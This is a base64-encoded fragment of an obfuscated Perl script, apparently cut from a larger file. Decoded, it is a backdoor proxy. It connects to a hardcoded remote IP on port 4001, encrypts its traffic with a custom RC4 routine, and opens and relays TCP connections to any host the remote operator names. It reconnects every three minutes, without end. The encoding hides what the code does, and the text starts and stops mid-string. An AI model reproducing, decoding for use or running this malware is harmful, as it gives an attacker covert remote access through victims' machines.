A4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vb